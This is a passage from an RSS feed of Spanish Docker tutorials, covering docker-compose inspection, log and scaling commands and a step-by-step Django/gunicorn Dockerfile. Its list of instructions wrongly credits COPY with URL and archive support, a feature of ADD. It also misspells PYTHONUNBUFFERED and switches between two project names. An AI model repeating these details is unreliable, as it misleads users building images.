style=&#34;color:#78787e&#34;&gt;#-------------------------------------------------------------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#django     /entrypoint /start              Up      0.0.0.0:8000-&amp;gt;8000/tcp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#docs       /bin/sh -c make livehtml        Up      0.0.0.0:7000-&amp;gt;7000/tcp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#postgres   docker-entrypoint.sh postgres   Up      5432/tcp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para listar un solo container lo colocamos al final de nuestro comando.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose ps servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;acceder-a-los-procesos&#34;&gt;Acceder a los procesos&lt;/h3&gt;&#xA;&lt;p&gt;De la misma manera que el comando top en GNU/Linux, docker-compose top nos muestra los procesos de cada uno de nuestros servicios.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f local.yml top&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#django&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#UID     PID    PPID    C    STIME   TTY     TIME                                   CMD                               &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#---------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#root   29957   29939   0    20:09   ?     00:00:00   /bin/bash /start&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para ver los procesos de un único servicio basta con escribir su nombre al final del comando docker-compose top&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose top servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ver-los-logs-de-docker-compose&#34;&gt;Ver los logs de docker-compose&lt;/h3&gt;&#xA;&lt;p&gt;Si algo salió mal podemos ver los logs usando docker-compose logs. Si queremos ver los logs de un stack en específico basta con establecer nuestro archivo yml con la opción &lt;em&gt;-f.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml logs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#Attaching to django, docs, postgres&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#django      | PostgreSQL is available&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#django      | Operations to perform:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#postgres    | PostgreSQL Database directory appears to contain a database; Skipping initialization&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#docs        | sphinx-autobuild -b html --host 0.0.0.0 --port 7000 --watch /app -c . ./_source ./_build/html&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De igual manera que con los demás comandos, si queremos leer los logs de un servicio es suficiente con agregar su nombre al final.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml logs servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;escalar-contenedores-de-docker-compose&#34;&gt;Escalar contenedores de docker compose&lt;/h2&gt;&#xA;&lt;p&gt;Antes se usaba el comando docker-compose scale para escalar los servicios. En las nuevas versiones de docker-compose escalar contenedores se realiza con el comando docker-compose up. Tras el comando agregamos la opción &amp;ndash;scale seguida del servicio que queremos escalar y el número de copias usando el formato servicio=numero.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml up -d --scale &lt;span style=&#34;color:#ff5c57&#34;&gt;servicio&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hay que tomar en cuenta que cuando escalamos un contenedor, se intentará crear otro contenedor con un puerto que ya estará en uso, lo que provocará un conflicto, por esta razón necesitamos especificar rangos de puertos en nuestro archivo de docker compose. Tampoco podemos usar nombres de contenenedores en nuestros servicios, por los que habrá que removerlos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-docker&#34; data-lang=&#34;docker&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;services:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;  django:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    build:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      context: .&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      dockerfile: Dockerfile&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    image: customImage&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    container_name: django &lt;span style=&#34;color:#78787e&#34;&gt;# ES NECESARIO REMOVER ESTA LINEA&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    depends_on:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - postgres&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    volumes:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - .:/app:z&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    env_file:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - ./django.env&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - ./posgres.env&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    ports:&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;      - &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;8000-8005:8000&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# APLICA RANGOS A LOS PUERTOS&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;    command: /start&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Que tal una aplicación práctica de Docker Compose? En mi siguiente entrada te explico como hacer un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/cookiecutter-django-para-configurar-y-hacer-deploy-en-django/&#34;&gt;deploy usando cookiecutter-django y docker-compose&lt;/a&gt;&#xA;; gracias a cookie-cutter bastan un par de comandos de docker-compose y listo, una aplicación lista para producción, con SSL y muchas más funciones.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Docker compose nos permite crear aplicaciones con múltiples contenedores, estos contenedores interaccionarán y podrán verse entre sí. Para configurar cada uno de estos servicios usaremos un archivo en formato YAML (también le dicen YML). En este tutorial de docker compose te muestro algunos de los comandos más usados y lo que hace cada uno.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres refrescar tu memoria visita mi &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;tutorial de comandos básicos de Docker.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://m.do.co/c/a22240ebb8e7&#34;&gt;&#xA;    Si quieres hostear una aplicación usando Docker o Kubernetes de manera económica checa Digital Ocean, puedes tener un VPS desde $4 usd el mes.&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Como escribir un archivo de Dockerfile desde cero</title>
      <link>https://coffeebytes.dev/es/docker/como-escribir-un-archivo-de-dockerfile-desde-cero/</link>
      <pubDate>Fri, 09 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/docker/como-escribir-un-archivo-de-dockerfile-desde-cero/</guid>
      
      <category>docker</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;entrada anterior te explique los comandos más comunes de Docker, run, exec, pull, etc&lt;/a&gt;&#xA;. Hasta este momento todo se ha hecho de manera manual, a través de la terminal, pero que tal si queremos una manera de guardar nuestro proceso de transformaciones a una imagen para poder compartirlo fácilmente o para llevar un registro en git. Los Dockerfile permiten justamente eso y facilitan personalizar una imagen como una serie de pasos a seguir para llevar nuestro sistema al punto al que querramos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-un-docker-file&#34;&gt;¿Qué es un Docker file?&lt;/h2&gt;&#xA;&lt;p&gt;Un Dockerfile es un archivo &lt;strong&gt;sin extensión&lt;/strong&gt;, usualmente llamado &lt;em&gt;Dockerfile&lt;/em&gt;, donde especificaremos una serie de transformaciones, ordenadas, que queremos aplicar a una imagen. En un Dockerfile podremos agregar archivos de configuración personalizados, código propio, librerías extras, abrir puertos personalizados o lo que querramos.&lt;/p&gt;&#xA;&lt;p&gt;Es básicamente una plantilla o receta que índica como tiene que quedar nuestro sistema.&lt;/p&gt;&#xA;&lt;h2 id=&#34;preparar-un-dockcerfile&#34;&gt;Preparar un Dockcerfile&lt;/h2&gt;&#xA;&lt;p&gt;Para este ejemplo vamos a crear una carpeta nueva, donde crearemos el Dockerfile. Recuerda, que un &lt;strong&gt;Dockerfile es solo un archivo sin extensión.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;La siguiente parte solo crea los archivos que incluiremos en el Dockerfile, no importa si no entiendes perfectamente el proceso.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir dockerTest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; dockerTest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch Dockerfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora creamos un archivo de requerimientos para pip que incluya a Django y a gunicorn. En caso de que no lo sepas, Django es un framework de desarrollo web y gunicorn un servidor frecuentemente usado en conjunción con Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;printf&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Django==3.0.1\ngunicorn==19.7.1&amp;#34;&lt;/span&gt; &amp;gt; requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A continuación, vamos a crear un proyecto con django para usarlo como base para nuestro proyecto. &lt;strong&gt;Asegúrate de tener instalado pip en tu sistema o no podrás usar django-admin.&lt;/strong&gt; En caso de que no puedas descargar la versión 3.0.1 puedes usar cualquier otra y también debería funcionar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo pip install &lt;span style=&#34;color:#ff5c57&#34;&gt;Django&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt;3.0.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject myDjangoDockerApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si ahora revisamos nuestra carpeta actual veremos la siguiente estructura de archivos y carpetas. Si no conoces Django ignora los archivos, lo importante por ahora será que sepas que &lt;strong&gt;gunicorn únicamente necesita saber donde está el archivo wsgi.py para iniciar el servidor&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── Dockerfile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── myDockerDjangoApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── manage.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── myDockerDjangoApp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── settings.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       └── wsgi.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;escribir-un-archivo-dockerfile-desde-cero&#34;&gt;Escribir un archivo Dockerfile desde cero&lt;/h2&gt;&#xA;&lt;p&gt;Vamos a crear una imagen personalizada para nuestro Dockerfile. Abre el archivo Dockerfile con tu editor de texto favorito y vamos a escribir el siguiente contenido. Te explico a continuación que hace cada paso.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-dockerfile&#34; data-lang=&#34;dockerfile&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; python:3.6&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;ENV&lt;/span&gt; PYTHONUNBUFFERED &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;ADD&lt;/span&gt; . /app/&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;WORKDIR&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; /app/myDockerDjangoApp&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;RUN&lt;/span&gt; pip install -r /app/requirements.txt&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;EXPOSE&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; 8000&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;ENV&lt;/span&gt; PORT &lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CMD&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gunicorn&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;myDockerDjangoApp.wsgi&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#ff5c57&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;entender-la-estructura-de-un-dockerfile&#34;&gt;Entender la estructura de un Dockerfile&lt;/h3&gt;&#xA;&lt;p&gt;Como puedes observar, un Dockerfile no es otra cosa que una serie de instrucciones secuenciales, cada instrucción tiene una función específica:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;FROM: Especifica la imagen de la cual partimos, existen una serie de imágenes disponibles para múltiples tecnologías, como Python, Javascript, Alpine Linux, entre otras, revisa Dockerhub.&lt;/li&gt;&#xA;&lt;li&gt;ENV: Crea variables de entorno, primero el nombre de la variable y posteriormente su valor.&lt;/li&gt;&#xA;&lt;li&gt;ADD: Añade archivos desde el entorno a la imagen de Docker de destino. Un punto indica todos los archivos.&lt;/li&gt;&#xA;&lt;li&gt;COPY: Igual que el anterior, pero soporta urls y archivos comprimidos.&lt;/li&gt;&#xA;&lt;li&gt;WORKDIR: Establece el directorio de trabajo desde el cual se ejecutarán los comandos.&lt;/li&gt;&#xA;&lt;li&gt;RUN: Ejecuta un comando una única vez al compilar la imagen.&lt;/li&gt;&#xA;&lt;li&gt;EXPOSE: Expone un puerto.&lt;/li&gt;&#xA;&lt;li&gt;CMD: Ejecuta un comando al arrancar el contenedor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ahora revisemos la imagen que creamos arriba.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;FROM python:3.6: Todos los Dockerfile necesitan una imagen de la cual partir&lt;/strong&gt;, en este caso esa imagen es python:3.6.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ENV PYTHONBUFFERED 1:&lt;/strong&gt; Esta variable de entorno nos permite leer los logs de Python en nuestra terminal&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ADD . /app/:&lt;/strong&gt; Agrega todos los archivos en la carpeta actual a la carpeta /app/.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;WORKDIR /app/myDockerDjangoApp:&lt;/strong&gt; Establece la carpeta /app/myDockerDjangoApp como la carpeta base a usar al correr comandos con CMD, RUN, ADD o COPY&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;RUN pip install -r /app/requirements.txt:&lt;/strong&gt; RUN permite ejecutar comandos, los cuales se ejecutan al momento de compilar la imagen y quedan grabados como una capa nueva en la imagen. Usaremos RUN para instalar todas las dependencias que especificamos en el archivo requirments.txt (solo Django y Gunicorn).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;EXPOSE 8000:&lt;/strong&gt; Expone el puerto 8000 al 